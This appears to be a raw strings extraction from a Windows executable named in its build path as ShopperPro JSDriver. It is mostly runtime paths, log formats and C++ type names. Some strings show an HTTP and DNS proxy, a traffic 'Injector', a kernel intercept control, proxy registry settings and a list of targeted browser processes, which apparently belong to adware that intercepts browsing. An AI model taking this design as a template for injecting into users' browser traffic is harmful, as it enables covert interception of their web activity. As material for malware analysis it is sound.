[~AccelerationLogic - %p] FDM=%d - Enter ...
[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d
[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes
[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld
[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes
[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header
[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d
[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld
[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d
[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld
[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p
[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld
[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes
[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d
[CHttpCacheData] CD:%d, Url: %s
[~CHttpCacheData] CD:%d
[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...
[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d
[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld
[CacheWorker::SetSize - %p] Cache size: %d
[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d
[CacheWorker::SetEncryptionKey - %p] Key: %p
[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d
[CacheWorker::AppendToCache - %p] Bytes in buffer: %d
[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld
[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes
[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes
[CacheWorker::Write - %p] *** Finished to download & write job:%d ***
[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d
[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::Write - %p] ___Warning already finished job:%d
[CacheWorker::Write - %p] Bytes in buffer: %d
[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***
[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.
[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***
[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.
f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum
f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c
f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime
f:\dd\vctools\crt_bld\self_x86\crt\src\locale
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon
%d / %m / %y
%I : %M : %S %p
%m / %d / %y
%b %d %H : %M : %S %Y
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c
f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c
Client hook allocation failure at file %hs line %d.
Memory allocated at %hs(%d).
Client hook re-allocation failure at file %hs line %d.
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.
CRT detected that the application wrote to memory after end of heap buffer.
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.
CRT detected that the application wrote to memory before start of heap buffer.
CRT detected that the application wrote to a heap buffer that was freed.
crt block at 0x%p, subtype %x, %Iu bytes long.
client block at 0x%p, subtype %x, %Iu bytes long.
%hs(%d) :
#File Error#(%d) :
Data: <%s> %s
f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c
Visual C   CRT: Not enough memory to complete call to strerror.
f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
_CrtDbgReport: String too long or IO Error
Debug %s!
Program: %s%s%s%s%s%s%s%s%s%s%s%s
f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c
f:\dd\vctools\crt_bld\self_x86\crt\src\read.c
%s(%d) : %s
_CrtDbgReport: String too long or Invalid characters in String
GetProcessWindowStation
f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c
f:\dd\vctools\crt_bld\self_x86\crt\src\input.c
f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c
Broken pipe
Inappropriate I/O control operation
Operation not permitted
f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c
f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c
portuguese-brazilian
operator
f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c
ICACLS.EXE
SOFTWARE\%s
Global\%s_CONFIG_XML
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
HKEY_PERFORMANCE_DATA
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
Injector dump %s: %s
inj_rem remain %d
inj_loc remain %d
%s PutChunk send %d bytes to server
%s PutChunk send %d bytes to client
%s close pRemoteInj
%s close pLocalInj
New EmuSession flow %lld, now %d
Injector: Flow %lld, create session %X
Injector: Flow %lld, FDM=%d (%d)
%s ConnectedToVA, pLocalInj %p, pLocalVA %p
Delete EmuSession flow %lld, remain %d, chunks %d
%s delete Session %X
%s HandleChunk FWPS_STREAM_FLAG_SEND len %d
%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d
%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT
%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT
%s HandleChunk FWPS_STREAM_FLAG_ABORT
Injector: FDM=%d (%d)
%s ConnectToInj, Session not found pLocalVA %X
%s ConnectToInj
Cleanup %s
allports
iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe
[Stproxy]: open driver HANDLE %p, err %d
jsdriver: LoadConfig: error parsing Config.json
parsing Config.json
IOCTL_ENABLE_INTERCEPT res %d
SetThreadPriority %d
error %d
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase
0123456789.eE- 
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum
Windows NT 6.1
%s?e=%s
zvl=%s&
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Type: multipart/form-data; boundary=%s
HTTP/1.1
XXX
Software\Microsoft\Windows\CurrentVersion\Internet Settings
%s\%s
C:\Builds\Build_ShopperProMulti\JSDriver\1.42.0.0\JsDriver\Release\jsdrv.pdb
WSAJoinLeaf
WS2_32.dll
VERSION.dll
USERENV.dll
HttpQueryInfoA
InternetOpenUrlA
InternetCrackUrlA
HttpSendRequestA
HttpAddRequestHeadersA
HttpOpenRequestA
HttpSendRequestExA
HttpEndRequestA
WININET.dll
GetProcessHeap
GetCPInfo
PeekNamedPipe
KERNEL32.dll
MsgWaitForMultipleObjectsEx
CloseWindowStation
SetProcessWindowStation
OpenWindowStationA
USER32.dll
RegNotifyChangeKeyValue
RegOpenKeyExA
RegCloseKey
RegCreateKeyExA
RegDeleteKeyA
RegOpenKeyA
RegEnumKeyA
RegEnumKeyExA
RegQueryInfoKeyA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
.?AVIPipeEventsThread@@
.?AVCPipeEventThread@@
.?AVSaveWatchUrl@@
.?AVIHttpEngineConfiguration@@
.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@
.?AVHttpEngineConfiguration@@
.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
HTTP://
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
.?AVCAsyncUdpSocket@@
.?AVCExecuteUpdate@@
..\Common\Base64.cpp
..\Common\Base64MultiBytes.cpp
<>"#%{}|\^~[]`' ?&
<>"#{}|\^~[]`' ?&
.?AVIHttpProxyWorker@@
.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@
.?AVIInjHttpProxyServer@@
.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@
.?AV?$IBaseInterface@VIHttpProxyServer@@@@
.?AVIHttpProxyServer@@
.?AVInjHttpProxyServer@@
.?AVHttpProxyServer@@
.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@
.?AVIHttpStreamSink@@
.?AVIHttpFileDownloadMgr@@
.?AVInjHttpProxyLocal@@
.?AVHttpProxyLocal@@
.?AVHttpProxyWorker@@
.?AVInjHttpProxyRemote@@
.?AVHttpProxyRemote@@
.?AVHttpParser@@
VA_SUBJECT_FMD_%d_WORKER_CREATED
VA_SUBJECT_FMD_%d_RANGE_CREATED
VA_SUBJECT_FMD_%d
VA_SUBJECT_FMD_%d_WORKER_%d
.?AVHttpCookie@@
.?AVHttpCookieJar@@
.?AV?$IBaseInterface@VIHttpCacheManager@@@@
.?AVIHttpCacheManager@@
.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@
.?AVCHttpCacheManager@@
.?AVCProxyServerPassThrough@@
.?AVCHttpCacheData@@
zcÁ
.?AVCHttpAsync@@
.?AVCHttp@@
1.0.1.4
3.1.9318.1794
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.exe
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
2 2(2.242|2
<(<6<&?8?
;#<-<:<@<
6m6I6
2/2X2
5"535`6 7
1(1-121x1}1
y0~0 1%1U1Z1
99N9X9h9v9
6f6F6X6
7#767;7|7
0 1*131?1
<0=5=->2>
0%0U0Z0
3'41464;4}4
70858:8?8
>4?9?>?\?
969;9@9/:
3(4:4`498@8#:*:
7(>,>0>4>8><>
9 9$9(9,9094989<9
= =$=(=,=0=4=
;/;6;=;`;
? ?$?(?,?0?4?8?<?@?
9#:(:-:2:
9!9@9_9~9
2/2T2f2n2
77T7f7n7
0$0(0,0004080
6 6$6(64686
4 4$4(4,4044484<4@4
0 0$0(0,00040
4 4$4(4,4044484
7 7$7(7,7074787<7@7
,0004080<0
; ;$;(;,;0;4;8;
2 2$2(2,20242
3 3$3(3,3034383<3
5 5$5(5,505
= =(=,=0=4=
2,282\2|2
=$=,=8=\=|=
5$5,585\5|5
=,=8=\=|=
1(141<1\1
:$:,:8:\:|:
2 2$2(2,2024282`2
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator   
std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --
dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator   
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator ==
std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator *
std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator *
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator   
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator ==
std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator   
std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator ==
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator --
std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator   
std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator *
std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator *
std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator   
]std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator *
